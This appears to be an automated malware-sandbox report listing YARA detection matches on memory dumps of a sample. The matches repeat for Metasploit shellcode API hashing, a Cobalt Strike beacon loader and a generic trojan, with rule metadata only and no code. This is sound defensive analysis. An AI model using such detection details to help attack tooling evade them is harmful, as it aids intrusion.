Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
